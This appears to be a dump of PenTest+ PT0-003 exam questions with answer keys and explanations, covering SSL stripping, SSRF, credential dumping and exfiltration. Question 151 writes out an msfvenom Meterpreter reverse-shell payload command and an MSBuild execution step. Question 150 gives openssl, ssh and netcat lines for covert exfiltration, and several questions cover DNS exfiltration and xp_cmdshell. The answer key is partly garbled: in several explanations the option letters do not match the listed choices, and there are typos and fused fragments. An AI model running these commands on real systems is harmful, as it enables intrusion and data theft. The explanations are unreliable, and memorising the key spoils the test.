NEW QUESTION # 141
A penetration tester finds it is possible to downgrade a web application's HTTPS connections to HTTP while performing on-path attacks on the local network. The tester reviews the output of the server response to:
curl -s -i https://internalapp/
HTTP/2 302
date: Thu, 11 Jan 2024 15:56:24 GMT
content-type: text/html; charset=iso-8659-1
location: /login
x-content-type-options: nosniff
server: Prod
Which of the following recommendations should the penetration tester include in the report?
- A. Add the HSTS header to the server.
- B. Front the web application with a firewall rule to block access to port 80.
- C. Attach the httponly flag to cookies.
- D. Remove the x-content-type-options header.
Answer: A
Explanation:
The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).
* HSTS (Option A):
* HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.
* Example header:
Strict-Transport-Security: max-age=31536000; includeSubDomains
NEW QUESTION # 142
A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information:
* Server-side request forgery (SSRF) vulnerability in test.comptia.org
* Reflected cross-site scripting (XSS) vulnerability in test2.comptia.org
* Publicly accessible storage system named static_comptia_assets
* SSH port 22 open to the internet on test3.comptia.org
* Open redirect vulnerability in test4.comptia.org
Which of the following attack paths should the tester prioritize first?
- A. Synchronize all the information from the public bucket and scan it with Trufflehog.
- B. Perform a full dictionary brute-force attack against the open SSH service using Hydra.
- C. Use the reflected cross-site scripting attack within a phishing campaign to attack administrators.
- D. Leverage the SSRF to gain access to credentials from the metadata service.
- E. Run Pacu to enumerate permissions and roles within the cloud-based systems.
Answer: D
Explanation:
* Leverage SSRF for Metadata Access:
* Server-side request forgery (SSRF) vulnerabilities allow attackers to force a server to send requests to internal resources. In cloud environments, SSRF can often be used to access the metadata service (e.g., AWS EC2 metadata) to retrieve credentials for cloud services.
* Once credentials are obtained, they can be used to access privileged systems that are not directly accessible from the internet.
* Why Not Other Options?
* A (Public bucket): Analyzing the bucket for sensitive data is useful but does not directly lead to privileged system access.
* B (Pacu): Pacu is used for AWS exploitation but requires credentials or misconfigured roles.
SSRF can provide the credentials needed to run Pacu effectively.
* C (SSH brute force): Brute-forcing SSH is noisy and inefficient. Privileged systems are likely better protected than SSH open to the internet.
* D (Phishing via XSS): This is a longer-term attack and less direct compared to leveraging SSRF.

NEW QUESTION # 143
A penetration tester successfully gained access to manage resources and services within the company's cloud environment. This was achieved by exploiting poorly secured administrative credentials that had extensive permissions across the network. Which of the following credentials was the tester able to obtain?
- A. Cloud storage credentials
- B. Temporary security credentials (STS)
- C. SSH key for cloud instance
- D. IAM credentials
Answer: D
Explanation:
IAM (Identity and Access Management) credentials are used to control and manage access to cloud services and resources. When a penetration tester obtains IAM credentials, especially those with administrative privileges, they can perform high-level operations such as provisioning services, modifying configurations, or accessing sensitive data across the cloud environment.
SSH keys would only grant access to a specific instance, not cloud-wide services.
Cloud storage credentials are limited to storage access, not administrative capabilities.
Temporary security credentials (STS) provide limited-time access and are not typically used for broad administrative tasks.
Reference: PT0-003 Objective 1.3 - Exploit cloud-based vulnerabilities, including credential abuse and privilege escalation via IAM.
NEW QUESTION # 144
A penetration tester is attempting to exfiltrate sensitive data from a client environment without alerting the client's blue team. Which of the following exfiltration methods most likely remain undetected?
- A. Cloud storage
- B. Email
- C. Domain Name System
- D. Test storage sites
Answer: C
Explanation:
The Domain Name System (DNS) is commonly used for covert exfiltration because it is an essential protocol in most networks and is less likely to be scrutinized compared to other methods. Here's how DNS exfiltration works:
Mechanism:
Data is encoded into DNS queries or responses, such as using subdomain fields to transmit sensitive information.
These queries are sent to a malicious DNS server controlled by the attacker, allowing data to bypass traditional detection mechanisms.
Why It Remains Undetected:
DNS traffic is frequently allowed and not as heavily monitored compared to other channels like HTTP or email.
Network security tools often prioritize operational DNS traffic, making detection of anomalies more challenging.

NEW QUESTION # 145
During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmap and runs the following command:
sql> xp_cmdshell whoami /all
Which of the following is the tester trying to do?
- A. Display available SQL commands
- B. Show logged-in database users
- C. Enumerate privileges
- D. List database tables
Answer: C
Explanation:
The command xp_cmdshell executes system-level commands from SQL Server. The command whoami /all is used to enumerate user privileges, group memberships, and security contexts on Windows systems.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 8 - Post-Exploitation Techniques):
"Using xp_cmdshell and system commands like whoami /all allows testers to identify the privilege level of the database user and system access level."
NEW QUESTION # 146
A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?
- A. IAST
- B. DAST
- C. VM
- D. SCA
Answer: D
Explanation:
* Software Composition Analysis (SCA):
* SCA tools analyze the dependencies and libraries used by an application to identify vulnerabilities in open-source components.
* Examples include identifying outdated or insecure versions of libraries (e.g., Log4j).
* Why Not Other Options?
* A (VM): Virtual Machines are unrelated to identifying open-source library vulnerabilities.
* B (IAST): Interactive Application Security Testing focuses on runtime vulnerabilities, not specifically open-source libraries.
* C (DAST): Dynamic Application Security Testing identifies runtime issues, not vulnerabilities in libraries.

NEW QUESTION # 147
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?
- A. Share enumeration.
- B. Initiate a social engineering campaign.
- C. Compromise an endpoint.
- D. Perform credential dumping.
Answer: D
Explanation:
Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here's why:
Credential Dumping:
Purpose: Credential dumping involves extracting password hashes and plaintext passwords from compromised systems. These credentials can be used to gain further access to sensitive data and critical systems within the network.
Tools: Common tools used for credential dumping include Mimikatz, Windows Credential Editor, and ProcDump.
Impact: With these credentials, the tester can move laterally across the network, escalate privileges, and access confidential information.
Comparison with Other Options:
Initiate a Social Engineering Campaign (A): Social engineering is typically an initial access technique rather than a follow-up action after gaining internal access.
Compromise an Endpoint (C): The tester already has a foothold, so compromising another endpoint is less direct than credential dumping for accessing sensitive information.
Share Enumeration (D): While share enumeration can provide useful information, it is less impactful than credential dumping in terms of gaining further access and achieving the main objective.
Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.

NEW QUESTION # 149
A company hires a penetration tester to perform an external attack surface review as part of a security engagement. The company informs the tester that the main company domain to investigate is comptia.org.
Which of the following should the tester do to accomplish the assessment objective?
- A. Perform information-gathering techniques to review internet-facing assets for the company.
- B. Perform a physical security review to identify vulnerabilities that could affect the company.
- C. Perform a phishing assessment to try to gain access to more resources and users' computers.
- D. Perform a vulnerability assessment over the main domain address provided by the client.
Answer: A
Explanation:
Comprehensive and Detailed Explanation:
An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.
Option A is correct because it aligns with the assessment goal-finding public-facing systems and their vulnerabilities before an attacker does.
Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.
Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.
Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.
NEW QUESTION # 150
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
- A. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- B. Apply 3DES to the data and send over a tunnel UDP port 53.
- C. Apply Base64 to the data and send over a tunnel to TCP port 80.
- D. Apply AES-256 to the data and send over a tunnel to TCP port 443.
Answer: D
Explanation:
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
* Encrypting Data with AES-256:
* Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.
* Example encryption command using OpenSSL:
Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey
* Setting Up a Secure Tunnel:
* Use a tool like OpenSSH to create a secure tunnel over TCP port 443.
* Example command to set up a tunnel:
ssh -L 443:targetserver:443 user@intermediatehost
* Transferring Data Over the Tunnel:
* Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.
* Example Netcat command to send data:
cat encrypted.bin | nc targetserver 443
* Benefits of Using AES-256 and Port 443:
* Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.
* Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.
* Real-World Example:
* During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.
* References from Pentesting Literature:
* Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.
* Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.

NEW QUESTION # 151
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
- A. AppInstaller.exe C:\evil.xml
- B. mshta.exe C:\evil.xml
- C. regsvr32 /s /n /u C:\evil.xml
- D. MSBuild.exe C:\evil.xml
Answer: D
Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.
Command Usage:
Command: MSBuild.exe C:\evil.xml
This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution.
Comparison with Other Commands:
regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.
mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.
AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
NEW QUESTION # 152
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?
- A. The customer's designated contact
- B. A generative AI assistant
- C. A team member
- D. A cybersecurity industry peer
Answer: C
Explanation:
Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member.
Internal Peer Review:
Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.
Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report before it reaches the client.
Alternative Review Options:
A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.
The Customer's Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.
A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer's lack of specific context regarding the engagement. In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.
